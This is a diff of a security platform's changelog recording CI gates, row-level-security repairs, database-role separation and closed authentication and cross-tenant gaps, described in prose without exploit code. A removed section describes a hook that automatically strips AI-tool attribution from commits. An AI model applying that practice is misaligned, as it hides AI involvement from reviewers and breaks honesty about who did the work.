`PYTHON_INTERPRETER_SPLIT` is deleted rather than emptied: a+ split that can be recorded is a split that can grow.- `--self-test` injects a violation of each kind and asserts both are caught- while two clean controls pass, so the gate cannot quietly stop detecting- things. Exemptions each carry a written reason and are as narrow as the- facts allow: `services/mesh` is public by design (Ed25519 + k-anonymity, a- bearer token would break federation rather than secure it); three MSSP- routes *define* a scope rather than read within one, so intersecting would- make them impossible; and `osquery-tls` `/enroll` authenticates with a- per-tenant enroll secret because osqueryd has no session yet. That last- exemption is **conditional** — the self-test strips the verifier it names- and asserts the route is then reported, so deleting the check and keeping- the entry fails the build. The gate resolves its repository root from `git- rev-parse` rather than its own file location, and prints how many routes- across how many files it opened, so an OK can be distinguished from a scan- that never happened. `--inventory` prints the per-service table.+ *gofmt.* CI ran `go vet` and `go build` and never `gofmt`; 28 files across four+ modules had drifted. The new job walks every `.go` file rather than iterating a+ matrix, because a matrix is a list somebody has to remember to add to — which+ is how `packages/sdk-go` came to be compiled by nothing. Formatting landed as+ its own commit; nine files also had reStructuredText ``code`` markers in Go doc+ comments, which have no inline code span, so gofmt was rewriting them to two+ *left* curly quotes. The 58 marker pairs are gone, which leaves gofmt stable.-- **Tool attribution is now prevented at commit time and blocked in CI.** AiSOC- does not attribute work to a development tool or AI assistant. An audit found- the rule was being broken automatically: a `Co-authored-by:` trailer naming an- editor appeared in 214 commits on `main`, and 280 of 732 pull request bodies- carried a "Made with" or "Generated with" footer. Nothing in the repository- caused it — no `commit.template`, no `core.hooksPath`, nothing in- `.git/hooks/` — the editor appended it at commit time, and it survived- `git commit --amend`.+ *`services/realtime`.* Published to GHCR on every release and built by nothing+ — no build, test, lint or type-check job anywhere — despite being one of the+ two ends of the Kafka spine, carrying the OpenTelemetry instrumentation that+ keeps the distributed trace continuous, and holding the TypeScript CORS guard.+ It now has all four, installing with `npm ci` from its committed lock.+ `@types/node` moves `^20` → `^22` to match the Node 22 runtime, and a+ `tsconfig.check.json` type-checks the test file, which `rootDir: src` had left+ checked by nothing.- - `.githooks/commit-msg` strips the line before it reaches a commit. It is- wired through `core.hooksPath`, so it is version-controlled and shared with- every clone rather than living in an untracked `.git/hooks/`;- `scripts/setup_hooks.sh` installs it and runs automatically as the `prepare`- script on `pnpm install`. The hook rewrites and never rejects — a hook that- can block is a hook that can halt someone's work on a bad pattern, so the- blocking job belongs in CI where it is visible.- - This is load-bearing rather than cosmetic because the repository- squash-merges with `squash_merge_commit_message=COMMIT_MESSAGES`: GitHub- composes the squash commit body from the branch commits, so a trailer on any- branch commit is copied onto `main` at merge time.- - `scripts/check_attribution.py` fails CI when attribution appears in a- commit message, a changed file or the PR body. A human `Co-authored-by:`- line is never flagged — a pattern only fires when the trailer names a known- tool — and `dependabot[bot]` is allowlisted.- - The gate runs on `push` to `main` as well as on `pull_request`. A PR-only- check is one-directional: it inspects what contributors propose but never- what actually lands, so anything introduced by the merge itself would pass- it while the gate stayed green.- - `--self-test` runs on every CI invocation and checks four directions against- a shared fixture corpus: the gate detects every known-bad sample (so it- cannot pass vacuously), flags no known-good sample (so it cannot pass- direction one by flagging everything), and the hook strips exactly what the- gate flags in both directions (so the two implementations cannot drift).- Both read their patterns from the same `.githooks/attribution-patterns.txt`.- The self-test earned its place immediately by catching a real hole in the- patterns — `Built with GitHub Copilot` slipped through, because a vendor- word sat between the verb and the tool name.+ Three new bidirectional pairs in `check_toolchain_pins.py` — `module -> format`+ / `format -> module`, `image -> CI` / `CI -> image`, `target -> ship` /+ `ship -> target` — each of which rediscovers its defect when run against the+ previous commit. Five parser blind spots were found and fixed in the gate+ itself, every one present in this tree: matrix legs read file-wide (so+ `ci.yml`'s two `service:` matrices merged), the block-list matrix form+ unreadable, `working-directory` truncated at the space inside a matrix+ expansion, `working-directory` unreachable when it is a step's first key, and+ `gofmt` matched inside step names and quoted `echo` strings — the last of which+ also let a quoted path in a `compose-smoke.yml` shell array count as CI+ coverage for eleven services, so the check would have reported OK about the+ very gap it exists to find. Each published image now prints the step that+ exercises it instead of contributing to a tally, and the gate asks+ `git rev-parse` for its root instead of inferring it from its own file+ location. 35 self-test cases, 49 unit tests.++- **`scripts/audit_health_probes.py` now checks the thirteen copies of+ `app/_health.py` are identical.** The module's own docstring claimed they+ were kept in sync and nothing verified it — they happened to be, so the+ claim was true by luck. It also pointed at `scripts/sync_health_module.py`,+ which does not exist in this tree.++- **A gate that reads the one place a dead path could get in.** A comment is+ the only prose no check in this tree opens: `check_repo_self_links.py`+ reads markdown and matches `github.com` URLs, lychee resolves links, and+ neither looks inside source files — which is where most cross-file+ references in this repository actually live. That is how+ `docker-compose.yml` came to name+ `docs/architecture/decisions/0001-llm-gateway-in-core.md`, a path with no+ directory behind it, and survive every gate. `scripts/check_comment_paths.py`+ reads comments in fourteen languages plus Python docstrings and asserts+ that every repository path they name exists.+ The corpus was measured before the gate was written, because a naive+ version would have been mostly noise: of **3,092** path-shaped strings in+ non-markdown comments, most are MIME types, MCP method names+ (`tools/call`), Splunk REST routes (`services/search/jobs`), container+ images or URL routes. Three structural filters — a known file extension, a+ first segment that names something at the top of this repository, and not+ a URL / template / glob / gitignored artefact — cut that to **1,251**+ claims about this tree, resolved against the repository root *and* each+ ancestor of the referring file (a comment in `services/agents/tests/`+ saying `tests/conftest.py` means the one beside it).+ Extension-less directory references are **deliberately not checked** and+ the gate says so in its own output: 286 resolve and 52 do not, and+ hand-classifying the 52 put genuine rot at roughly one in five, which is+ the precision at which a gate gets ignored.+ Ten exceptions are recorded, each with a reason and each verified in both+ directions — an entry whose path now resolves, or which no longer appears+ in any comment, fails the build rather than sitting there.### Changed+- **A hosted deployment's hostname no longer appears in self-hosted docs as the+ reader's own URL.** Seven files under `apps/docs/` pointed at the managed+ instance: two `curl` examples told a self-hoster to push their SIEM data to+ somebody else's ingest endpoint, a sample address appeared in a console+ illustration, three white-paper links and a benchmark-scoreboard link sent+ open-source readers to the hosted console, and a JSON Schema `$id` claimed the+ hosted docs domain. These now use `example.com`, in-repo GitHub links, or the+ project's own documentation URL. Pages genuinely *about* the managed offering+ keep naming it, as does the docs build configuration.++- **The Slack bot no longer deep-links an unconfigured deployment to somebody+ else's console.** `AISOC_WEB_BASE_URL` defaulted to a hosted hostname, so a+ self-hoster who deployed the bot without setting it got case cards pointing at+ another instance. It now defaults to `http://localhost:3000`, matching the+ compose default it had silently disagreed with, and both documented defaults+ were corrected with it.++- **A permanent playbook-step failure is no longer retried as if transient.**+ `dispatch_step` raises before any I/O when the run context has no tenant,+ and the engine retried it with exponential backoff: 2s, 4s, then 8s, to+ arrive at the message it already had on the first attempt. The cost is not+ the fourteen seconds — it is that a permanent misconfiguration presents to+ an operator mid-incident as flakiness, so their next move looks like "wait"+ when it is "go and set the variable".++ `BridgeUnavailable` stays the base class every caller catches, and the+ permanent half is now `BridgeMisconfigured`, marked with a new+ `PermanentStepFailure` that any handler can raise and the engine honours.+ The line: **permanent** when the cause is this deployment's configuration or+ a violation of the API's own contract — the enable switch, the service+ token, the missing tenant, a non-retryable 4xx, a JSON body with no+ `executed` field; **transient** when the cause is reachability — a transport+ error, any 5xx, `408`/`425`/`429`, and a body that did not parse as JSON at+ all, which is overwhelmingly an ingress error page rather than the API. A+ failed step records `permanent` and `attempts`, so the run says why it was+ tried once and not four times.+- **`Backup → destroy → restore` and `docker compose up — full stack` reporta verdict on every pull request, so both can be required checks.** Bothworkflows were path-filtered at the workflow level, and a workflow that does@@ -1768,26 +1478,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0that. The derived set matches the old list exactly today, so nothing abouttoday's behaviour changes.-- **A permanent playbook-step failure is no longer retried as if transient.**- `dispatch_step` raises before any I/O when the run context has no tenant,- and the engine retried it with exponential backoff: 2s, 4s, then 8s, to- arrive at the message it already had on the first attempt. The cost is not- the fourteen seconds — it is that a permanent misconfiguration presents to- an operator mid-incident as flakiness, so their next move looks like "wait"- when it is "go and set the variable".-- `BridgeUnavailable` stays the base class every caller catches, and the- permanent half is now `BridgeMisconfigured`, marked with a new- `PermanentStepFailure` that any handler can raise and the engine honours.- The line: **permanent** when the cause is this deployment's configuration or- a violation of the API's own contract — the enable switch, the service- token, the missing tenant, a non-retryable 4xx, a JSON body with no- `executed` field; **transient** when the cause is reachability — a transport- error, any 5xx, `408`/`425`/`429`, and a body that did not parse as JSON at- all, which is overwhelmingly an ingress error page rather than the API. A- failed step records `permanent` and `attempts`, so the run says why it was- tried once and not four times.-- **The tenant-predicate gate can now tell a guard from a log line, and theratchet shrank from 34 to 32.** It credited any query addressed by a keypassed to a call that also received the caller's tenant — which@@ -1865,584 +1555,394 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0stayed unwired. It is wired now, and passes: all 13 tested Python servicesare gated.-- **A hosted deployment's hostname no longer appears in self-hosted docs as the- reader's own URL.** Seven files under `apps/docs/` pointed at the managed- instance: two `curl` examples told a self-hoster to push their SIEM data to- somebody else's ingest endpoint, a sample address appeared in a console- illustration, three white-paper links and a benchmark-scoreboard link sent- open-source readers to the hosted console, and a JSON Schema `$id` claimed the- hosted docs domain. These now use `example.com`, in-repo GitHub links, or the- project's own documentation URL. Pages genuinely *about* the managed offering- keep naming it, as does the docs build configuration.-- **The Slack bot no longer deep-links an unconfigured deployment to somebody- else's console.** `AISOC_WEB_BASE_URL` defaulted to a hosted hostname, so a- self-hoster who deployed the bot without setting it got case cards pointing at- another instance. It now defaults to `http://localhost:3000`, matching the- compose default it had silently disagreed with, and both documented defaults- were corrected with it.--### Security--- **The four services that run their own alembic chain now migrate as the- owner and serve as the runtime role, and three of them were not reached by- the role switch at all.** `honeytokens`, `osquery-tls`, `purple-team` and- `ueba` manage their own schema, and each applied it as whatever DSN the- operator supplied — so their migration and runtime credentials were the same- one, and pointing such a service at the owner turned off row-level security- for the twelve tables those chains own with nothing objecting. Each- `env.py` now reads `<SERVICE>_DATABASE_MIGRATION_URL`, then- `DATABASE_MIGRATION_URL`, and only then falls back to the runtime DSN with a- warning on stderr naming what will break.-- Three things were found while wiring it, each measured rather than inferred:-- - **`DATABASE_URL` was inert on three of the four.** `docker-compose.yml`- sets it on every service, but `honeytokens`, `purple-team` and- `osquery-tls` declare `env_prefix` in their settings, so the name they- read is `HONEYTOKEN_DATABASE_URL` and the compose entry did nothing: each- fell back to a default naming the **owner**. Both spellings now resolve,- unprefixed first, the convention `services/ueba` and `services/fusion`- already used. Operator note: on a deployment that sets both to *different*- databases, the unprefixed one now wins.- - **The four chains shared one `alembic_version` table** — they share one- database in the default deployment and number their revisions identically.- Following `apps/docs/docs/quickstart.md` against `postgres:16`: after- `ueba` reached `0002`, `honeytokens alembic upgrade head` ran **zero**- migrations and `purple-team` failed applying its RLS revision to tables- that had never been created, so two services had no tables and no policies- and every command reported success. Each chain now keeps its own version- table and adopts an existing deployment's recorded version on the next- upgrade — only when that chain's own tables are already present, so it- cannot claim a sibling's row.- - **The runtime role had no grant on those tables.**- `061_runtime_app_role.sql` grants over `ALL TABLES` as they stood and sets- `ALTER DEFAULT PRIVILEGES` for the role that issued it; nothing orders the- chains against it, and a deployment applying them under different owners- gets neither. Each chain now grants `SELECT, INSERT, UPDATE, DELETE` on its- own tables, guarded so it is a notice rather than a failure where the role- does not exist.+- **`ruff` moved to the 0.16 line across all fourteen declarations, the tree+ was reformatted under it, and the lint gate stopped ending at `services/`.**+ The bump alone reds every open pull request, because `ruff format --check`+ is a hard gate on the required `Python — Lint & Type-check` job and 0.16+ formats differently from 0.4.10. So the migration is the reformat. Measured+ under 0.16.9 (what the range resolves today, and byte-identical to 0.16.8 on+ both format and lint): **218 files reformatted**, 862 insertions against+ 1075 deletions, almost all of it collapsing calls that 0.4.10 wrapped and+ 0.16 fits inside the 140-column limit. It is its own commit with no other+ change in it.- Verified live on `postgres:16` with all four chains applied and two tenants- seeded: bound to one tenant the runtime role sees one row of two in- `ueba_entity_baselines`, `honeytokens` and `osquery_node`; unbound it sees- both, which is the fail-open arm the cross-tenant sweeps depend on; a- cross-tenant insert is refused by the policy; `CREATE TABLE` is refused with- `permission denied for schema public`; `ALTER TABLE … NO FORCE ROW LEVEL- SECURITY` with `must be owner of table`; and `SET LOCAL row_security = off`- raises rather than doing nothing. None of the four chains creates a view, so- the `security_invoker` hazard does not arise there, and none of the four- services issues DDL outside its chain.+ All fourteen declarations now read `>=0.16.8,<0.17` — seven manifests+ (`services/{api,fusion,osquery-tls}`, `packages/{aisoc-cli,aisoc-detections,+ plugin-sdk-py,sdk-py}`), three workflows (`ci.yml`, `ai-sdk.yml`,+ `python-detections.yml`), `.devcontainer/Dockerfile`, and the three+ `poetry.lock` files that resolve it, now at 0.16.9.-- **`approval_timers` is in a migration and carries a policy.**- `services/slack-bot`'s `PostgresTimerStore` created it at startup with- `CREATE TABLE IF NOT EXISTS`, outside every chain in the repository — so- `060_rls_coverage.sql` never saw it, it had no `tenant_id` for a policy to- filter on, and it decides whether a pending containment auto-rejects. Under- the DML-only runtime role the DDL itself fails, because Postgres checks the- schema ACL before the existence test, and `main.py` caught that into a- warning and fell back to the non-durable store: durable approval timers- would have quietly stopped being durable. `062_approval_timers.sql` adds the- table, a `tenant_id`, and the canonical policy; the store probes with- `to_regclass` and refuses with the migration's name rather than creating- anything, carries the tenant in every statement, and binds- `app.current_tenant_id` on each pooled connection so the policy engages too.- A deployment already carrying the runtime-created table converges on the- same shape, with its existing rows defaulting to an empty `tenant_id` that- the migration says how to backfill.+ The three lint findings 0.16 reports on `services/` are fixed rather than+ suppressed: two `C420` dict comprehensions become `dict.fromkeys` (both+ values are string literals, so the shared-value hazard the rule exists+ around does not apply), and one `UP031` percent-format becomes an f-string+ in a chunker test that counts characters — all three rewrites asserted+ equal to the originals before the change was kept.-- **The services no longer connect to Postgres as a superuser, so the 92- row-level-security policies added below now actually filter.** The previous- entry closed the coverage gap and measured, in the same breath, that none of- it did anything: `docker-compose.yml`, the CI service containers, the Helm- chart and the Terraform environment all ran every service as- `POSTGRES_USER=aisoc`, which the postgres image creates as a **superuser**,- and a superuser ignores policies *even under* `FORCE ROW LEVEL SECURITY` —- FORCE binds the table owner, not a superuser. Sixty-one new policies bought- nothing operationally.+ **Scope.** The gate read `ruff check services/`, which left `scripts/` —+ every CI gate in this repository, the code the rest of its claims are+ verified by — linted by nothing at all. That is the same gap+ `check_mypy_baseline.py` closed with its unmanaged scope, and it is closed+ the same way here: lint now covers `services/ scripts/ tests/ tools/`, the+ trees the repo-root `ruff.toml` governs that nothing else lints, and+ `ruff format --check .` covers the whole repository because formatting has+ no semantic content and `.` needs no edit when a tree is added. That+ surfaced 17 real findings outside `services/`, each fixed at the source: two+ `B007` loops switched to `.values()`, a `B904` re-raise in+ `security_audit.py` now chains `from exc` so the original traceback+ survives, two `E402` imports that genuinely follow a `sys.path` mutation+ carry a reason next to the marker, and two over-length lines were wrapped.- `061_runtime_app_role.sql` splits the credential in two. `aisoc` owns the- schema and applies migrations; `aisoc_app` is what every service connects- as, holding `USAGE` on `public`, `SELECT / INSERT / UPDATE / DELETE` on- tables and views, `USAGE, SELECT` on sequences and `EXECUTE` on functions —- no `CREATE`, no `TRUNCATE` (`002_rls.sql` had granted `ALL`, which let one- statement delete every tenant's rows without a policy seeing a `WHERE`- clause), and ownership of nothing. Measured on `postgres:16` with two alerts- seeded one per tenant and the session bound to tenant A, reading `alerts`- with **no tenant predicate at all**: the old role saw 2, the new role sees- 1, and an insert for tenant B is refused by the policy.+ Two exclusions, both named rather than implied. `plans/` is excluded in+ `ruff.toml`: it is the archived prototype subtree `codeql.yml` and+ `check_mypy_baseline.py` already exclude and the project rules forbid+ editing, and it holds 844 lint findings and ~280 unformatted files — they+ are excluded because they cannot be fixed, which is not the same as being+ clean. `E501` is ignored for `scripts/detection_specs.py` and+ `scripts/detection_specs_part2.py`: both open their rule table with+ `# fmt: off`, so the formatter is already opted out of that layout by a+ deliberate decision, and all 199 long lines there are single dict or string+ literals — 72 positive fixtures, 66 negative fixtures, 50 `match_when`+ clauses, 11 descriptions. Two named data modules, not `scripts/`; exactly+ one long line elsewhere under it needed wrapping.- Things this turned up along the way, each of which would have survived the- role switch and quietly undone it:+ `packages/` and `plugins/` stay outside the lint gate on purpose and the+ gap is a number rather than a shrug: 91 findings and 2 respectively. Two of+ the five packages are already linted by their own workflows under their own+ configs, and bringing the three published SDKs under this gate means+ behaviour-touching fixes — `subprocess.run` check semantics, blind+ `except Exception` handling, `zip(strict=)` — that belong in a change+ reviewed as such rather than in a formatter migration.- - **Two views read around every policy underneath them.** A view executes as- its *owner* unless declared `security_invoker`, and both views here are- owned by the role that ran the chain. Bound to tenant A,- `mssp_tenant_latest_metrics` returned 2 rows before and 1 after.- - **`SET LOCAL row_security = off` stops being a no-op and becomes a- crash.** For a role the policies apply to, Postgres refuses the query- rather than ignoring the policy. The retention purge, the hunt scheduler's- sweep and tenant deletion all used it; all three now rely on the- `OR current_tenant_id() IS NULL` arm and call `assert_cross_tenant_session()`- first, which raises if a tenant *is* bound — a sweep that sees one tenant- and reports success is worse than one that fails.- - **`CREATE TABLE IF NOT EXISTS` still needs `CREATE` on the schema when the- table already exists**, because Postgres checks the ACL before the- existence test. Two stores in `services/agents` opened their pool that way- and swallowed the failure into `logger.debug`, so the agents service would- have silently recorded no cost telemetry and no institutional memory at- all. Both tables are already in the migration chain; the bootstrap now- probes first and reports at `error` if it genuinely has to create one.+- **`mypy` moved to 2.3.1 across all ten declarations, and the baseline it+ ratchets became reproducible outside CI.** The bump alone makes+ `scripts/check_mypy_baseline.py` exit 1 on 35 mismatched `(tree, file, code)`+ entries, so the re-record is the work — and a re-record is the moment a+ ratchet can quietly grow, so every entry was triaged before being banked.- Deployment surfaces updated: `docker-compose.yml`, the demo compose stack,- `integration.yml`, the Helm chart's `values.yaml`, the Terraform environment- (which now generates the runtime role's password rather than reusing the RDS- master user) and `.env.example`. `infra/postgres/initdb/zz_runtime_role_password.sh`- sets the credential on a fresh volume before the container reports healthy;- `app.scripts.run_migrations` applies it on every run, which covers an- upgrade in place. **Operators on a managed Postgres must act**: apply the- chain as the owner with `AISOC_APP_DB_PASSWORD` set, then point- `DATABASE_URL` at `aisoc_app` and `DATABASE_MIGRATION_URL` at the owner.- `002_rls.sql` created `aisoc_app` with the literal password `changeme`; 061- does not clear it (that would break an operator who had already set a real- one), so rotate it if none of the automatic paths applies to you.+ **Zero new findings.** All 35 are the same code in the same direction:+ `import-untyped` went 38 → 3 and nothing appeared, nothing grew. The cause+ is a behaviour change rather than a code improvement, and is recorded as+ such: mypy 2 extends `ignore_missing_imports = true` to silence+ `import-untyped`, which 1.x did not. Isolated on a two-line file — under+ 1.20.2 the finding is reported with the option either way; under 2.3.1 it is+ reported only with the option off. So the ten trees that set it lose the+ "this third-party import carries no type information" signal, every one of+ the 35 was `yaml`, and `packages/aisoc-cli` — strict, with no such option —+ still reports its three. `enable_error_code = import-untyped` does not+ bring it back; `ignore_missing_imports` wins. The alternative, dropping the+ option, would surface `import-not-found` for every uninstalled dependency in+ a deliberately dependency-free run, which is a statement about the runner+ rather than the tree. Banked at 955, with the reason on the record.- Two new gates, both with a self-test that runs before the scan and both- failing over an empty or absent tree. `scripts/check_runtime_db_role.py`- fails if a runtime DSN connects as the role that surface provisions as the- database superuser — structurally, by reading `POSTGRES_USER` /- `db_username` out of the tree rather than matching a name — and in- `--dsn` mode reads `pg_roles` and `pg_class` directly, catching- `rolsuper`, `rolbypassrls`, ownership, a view without `security_invoker`,- and a role still accepting `changeme`. `scripts/check_rls_policy_shape.py`- fails if a policy is written without the fail-open arm, replaying the chain- in order so a definition a later migration repaired is not reported. Both- run in `isolation.yml`; the live half runs in `integration.yml`.+ **The baseline was only reproducible on a CI runner, which is not+ reproducible.** Measured rather than assumed: the interpreter is not the+ variable people assume — Python 3.13 against 3.11 moves exactly 2 findings+ in 1 file (PEP 701 changed f-string sub-expression line attribution in 3.12,+ splitting findings 3.11 reports once) — while installing eight project+ dependencies moves 59. mypy reads type information out of installed+ packages, so a contributor with a service virtualenv active got mismatches+ in both directions and nothing saying the cause was their environment. A+ second cause surfaced while measuring the first: a `.mypy_cache` written+ under different conditions is reused by the next run, and the same tree+ answered 990 cold against 988 warm.- `tests/isolation/test_postgres_rls.py` now reads as `DATABASE_URL` — the- role the deployment ships — instead of a `NOSUPERUSER NOBYPASSRLS` role it- constructed for itself, so its 80-table two-tenant replay covers what ships.- `test_superuser_bypasses_rls_which_is_why_the_probe_role_exists` is replaced- by its inverse.+ Both are now closed at the source. The gate passes `--no-site-packages`+ (measured on `services/connectors`: 73 findings bare, 140 with eight+ dependencies installed, 73 either way with the flag — and a no-op in CI's+ own dependency-free environment, verified by re-recording under 1.20.2 and+ getting the committed file back byte for byte) and `--no-incremental`. It+ records the mypy version in an `(environment)` block and refuses to compare+ across majors, because a major *moves* findings and every difference would+ otherwise print as a file-level diff that describes the version. The+ interpreter difference is reported as a note rather than a refusal, so a+ contributor on 3.12 can still run the gate. Verified: the same 955 from a+ bare interpreter and from one with the project's dependencies installed.-- **Row-level security covered 31 of 95 tenant-scoped tables; it now covers 92,- and the seven policies that already existed but could never work are- repaired.** On the other 64 tables the query predicate was the only thing- between two customers, so one missing `WHERE tenant_id` was a leak rather- than something a second layer caught — which is not the design the- repository documents. `060_rls_coverage.sql` adds a policy to every- remaining table in the API chain, and the four services that manage their- own schema (honeytokens, osquery-tls, purple-team, ueba) each carry a- matching alembic revision. The three that remain are named rather than- rounded away: `users` is excluded so authentication can resolve a principal- before a tenant exists, and `case_tasks` / `case_timeline` are ORM models- that no migration creates.+ `mypy` is now in `check_dependency_pins.py`'s `CRITICAL` set, so the ten+ declarations have to move together the way `ruff`'s fourteen do. Nothing+ enforced that before, which is how a single-path bump could be proposed at+ all. One real bug was caught by the re-recorded baseline while this was+ being written — a `used-before-def` introduced into the gate's own+ self-test — and fixed rather than banked.- Four things found along the way, each invisible for the same reason:+- **`sqlglot` moved to the 30 line across all eight declarations, and the+ forward-compatibility matrix leg was rewritten so it can still reach past+ the pin.** The bump itself was never the work: a single-path proposal moved+ 1 of 8 declarations and left six workflows at `>=23,<27`, which+ `scripts/check_sqlglot_pin.py` fails closed on — correctly, since that gate+ exists because sqlglot 27 renamed the SELECT's FROM argument key and+ silently stripped the tenant predicate, the table allowlist and the `url()`+ exfiltration ban from every single-table query while reporting success. All+ eight now read `>=30,<31` (`services/api/pyproject.toml` plus `ci.yml`,+ `integration.yml` ×2, `isolation-live.yml`, `cross-tenant-rbac.yml`,+ `check-openapi.yml`, `reproducible-builds.yml`), and+ `services/api/poetry.lock` resolves 30.19.0 inside it.- - **The application bypasses RLS entirely.** `docker-compose.yml` and the CI- service containers run every service as `POSTGRES_USER=aisoc`, which the- postgres image creates as a superuser, and a superuser ignores policies- even under `FORCE ROW LEVEL SECURITY`. Measured, not inferred: with two- alerts seeded one per tenant and the session bound to tenant A, that role- sees both and a `NOSUPERUSER NOBYPASSRLS` role sees one. The security doc- claimed the opposite — "there is no superuser escape hatch via the- application's DB role" — and now carries the grant that makes it true.- - **Seven policies were keyed on a session variable nothing sets.**- `alert_sla_events` and `tenant_sla_config` read `app.tenant_id`;- `custom_parsers` and `retention_policies` read `app.current_tenant`;- `compliance_evidence` had no unset-context arm. All five returned zero- rows once RLS engaged. `external_assets` and `external_asset_drift` called- `current_setting` without `missing_ok`, so an unbound session raised- `unrecognized configuration parameter` instead. All seven are normalised- to the canonical predicate.- - **The agents service had the mirror-image bug.** Its four- `_set_rls_context` helpers wrote `app.tenant_id` while every policy reads- `app.current_tenant_id`, so the scoping they exist to provide had never- been applied — the policies fell through their fail-open arm every time.- - **Five tables had RLS enabled without `FORCE`**, so the table owner —- which is the application — walked past the policy regardless.-- `tests/isolation/test_postgres_rls.py` is the evidence, wired into- `integration.yml`'s migrations job where a real database with the full chain- already exists. It seeds an A row and a B row into every RLS-covered tenant- table (80 of 80 in the API chain), asserts both are visible unscoped before- asserting either absence, then binds the session to A and asserts B's row is- unreachable. It also asserts the shipped role's bypass, so a green run here- can never be read as "tenant isolation is on in production".--- **The attack-path relational fallback is verified against a real Postgres.**- `GET /graph/attack-path/{case_id}` reads `aisoc_cases` by id whenever the- Neo4j traversal fails — which for a deployment shipping no graph database is- always. It gained a tenant predicate in the previous release, but that fix- was covered by a gate and by review only: the statement uses- `CAST(:cid AS UUID)`, which SQLite mangles, so no offline suite could execute- it. Tenant B naming tenant A's case UUID is now demonstrated to be refused- against the database the query is written for, with tenant A's row asserted- present first.--- **Fifty-eight routes across four services carried no authentication at all,- and the previous gate could not see them.** `check_route_tenant_scope.py`- asks a conditional question — *if* a route takes a tenant, where did the- tenant come from — so a route that takes no tenant was never in its reach.- 37 `services/agents` routes took none. Reproduced against the real routers- with credential material configured, so the result is not "the service was- unconfigured": an anonymous caller with no `Authorization` header created a- playbook (201), listed all 64 (200), **executed one** (202) and deleted it- (204), then read copilot conversations and ran a threat hunt. All seven- refuse with 401 now, while a valid console session still gets a non-empty- response.-- `services/agents` keeps **dual-mode** auth rather than a bearer-only- scheme, because the console reaches it directly through a Next rewrite on a- session cookie: the guard is #813's `require_console_or_service_auth`,- extended rather than replaced. Its WebSocket could not use the same- dependency — a browser cannot set an `Authorization` header on a handshake,- and an `HTTPException` has no defined rendering on a WebSocket scope — so- `_ws_principal` reads the credential from the header or `?token=`, verifies- it with the *same* vendored logic, and closes with 1008 before `accept()`.- That route previously took its tenant from a query parameter defaulting to- the literal `"default"`, which names no tenant anywhere in this schema, and- would start a fresh investigation on the connection.-- Also closed: `connectors` (9 data routes, including the one that decrypts a- saved instance's credentials to test them and the two that push into a- customer's ITSM), `fusion` (5), `osquery-tls` (7), `threatintel` (1),- `actions` (1) and 20 in `services/api` — among them `PUT /deployment/config`,- `POST /deployment/airgap/bundle`, `POST /compliance/evidence/collect`, both- LLM-backed `/translate` routes and the seven STIX/TAXII routes.-- Two counts in the original report were **wrong, in the safe direction**, and- the reason matters: `slack-bot` (5) and `teams-bot` (4) were never open. An- AST pass sees no `Depends` and calls a route unauthenticated, but Slack Bolt- verifies a request signature, `/approval-card` compares a shared internal- token in constant time, and the Teams webhook verifies an HMAC-signed card- payload with a replay window. `scripts/check_route_auth.py` models these as- **conditional** exemptions that name the verifier and lapse the moment the- handler stops calling it.--- **`scripts/check_route_auth.py` — default-deny over all 601 routes.** Every- route must carry an auth dependency or appear in one of three tables, each- recording why it is public. It reuses the tenant-scope gate's AST collector- rather than adding a second parser: building it surfaced that- `playbooks.py`'s `ExecuteUser = Annotated[AuthUser, Depends(require_permission(...))]`- was reported as an unauthenticated playbook-run, because the vocabulary- listed `ReadUser` and `WriteUser` and nobody thought of the third. Auth- aliases are now resolved by **what they wrap**, which removes the naming- dependency in both directions — the reflex fix of appending the new name to- the list is how a list stops describing anything. State after: 517- authenticated, 73 public with a recorded reason, 11 verified in-band, 0- unexplained.--- **`scripts/check_tenant_query_predicates.py` — the predicate question.**- Closing the parameter shape surfaced eight routes matching on an id with no- tenant predicate; the sweep that found them was opportunistic. This gate- asks the question structurally over the whole tree, and the model and table- inventories are **derived from the tree** (a model's `tenant_id` column, the- migrations' DDL) rather than listed, so a new migration cannot slip past.- It matters most where nothing stands behind it: of 95 tenant-scoped tables- only 31 carry an RLS policy, and RLS engages only on a session that ran- `SET LOCAL app.current_tenant_id`.-- Real leaks it found beyond the known eight:-- - `GET /graph/attack-path/{case_id}`'s **relational fallback** read- `aisoc_cases` by id with no tenant predicate. The primary Neo4j path is- scoped, but the fallback runs precisely when that path failed — and its- own docstring says it exists so deployments without a graph database keep- working, i.e. permanently for many of them. An authenticated caller naming- another tenant's case UUID got its title, severity, MITRE techniques and- alert ids.- - `GET /osquery/distributed/{query_id}` was **both** unauthenticated and- unscoped. `osquery_distributed_query` has no `tenant_id` of its own — it- is reached through its node — so the lookup now joins onto- `osquery_node.tenant_id`. Demonstrated with two seeded tenants: before,- tenant B naming tenant A's `query_id` got A's host telemetry back; after,- nothing.- - `alert_explain._resolve_rule_lineage` selected a detection rule by an id- lifted out of the alert's `raw_event` — vendor-supplied, so a crafted- event could name another tenant's rule and have its definition explained- back.- - The ITSM webhook inserted its system comment into `aisoc_case_comments`- **without `tenant_id` at all**, leaving rows belonging to no tenant since- migration 044 added the column.- - Thirteen by-id writes (`alerts` escalate/snooze/update, four `connectors`,- three detection-rule routes, `claim_alert`, `run_saved_hunt`) were scoped- only by a preceding read. Not exploitable as written, and one reorder from- being scoped by nothing.-- What cannot be decided statically sits on a **shrink-only ratchet** — 34- entries, each with a reason, `MAX_RATCHET` asserted against the table's- length, and an entry whose statement is now scoped failing as *stale*. That- last property caught two of this change's own edits.--- **The zero-CodeQL-alert invariant was documented for four months with- nothing enforcing it.** `apps/docs/docs/operations/security.md` has said- since 2026-05-15 that "the Python alert count on `main` is zero, and we- treat that as a CI gate — a new alert breaks the security workflow". No such- gate existed anywhere in the repository. `codeql.yml` uploads SARIF and- `github/codeql-action/analyze` does not fail a build on findings; `main` has- no branch protection, so "Code scanning results" was not a required check- either; `security.yml`'s only hard job is the claim-to-gate matrix; and- nothing in the tree queried the code-scanning API. The scan itself was- healthy — `main` was analysed continuously, most recently minutes before- this was written — so the usual stale-green and mixed-`codeql-action`-pin- traps were both ruled out. The enforcement was simply imaginary, which is- why two `note`-severity alerts could sit open on `main` under a documented- count of zero.-- `scripts/check_codeql_alerts.py` is that gate, wired into the new- `.github/workflows/codeql-alert-gate.yml` on push to `main`, on pull- requests, on a `workflow_run` after CodeQL finishes, and daily. It fails on- any open CodeQL alert at **any** severity — `note` included, since both- motivating alerts were `note` and carried no `security_severity_level`, so a- threshold anywhere would have reproduced the original silence exactly. It- also refuses the vacuous pass: an unanalysed ref, a declared 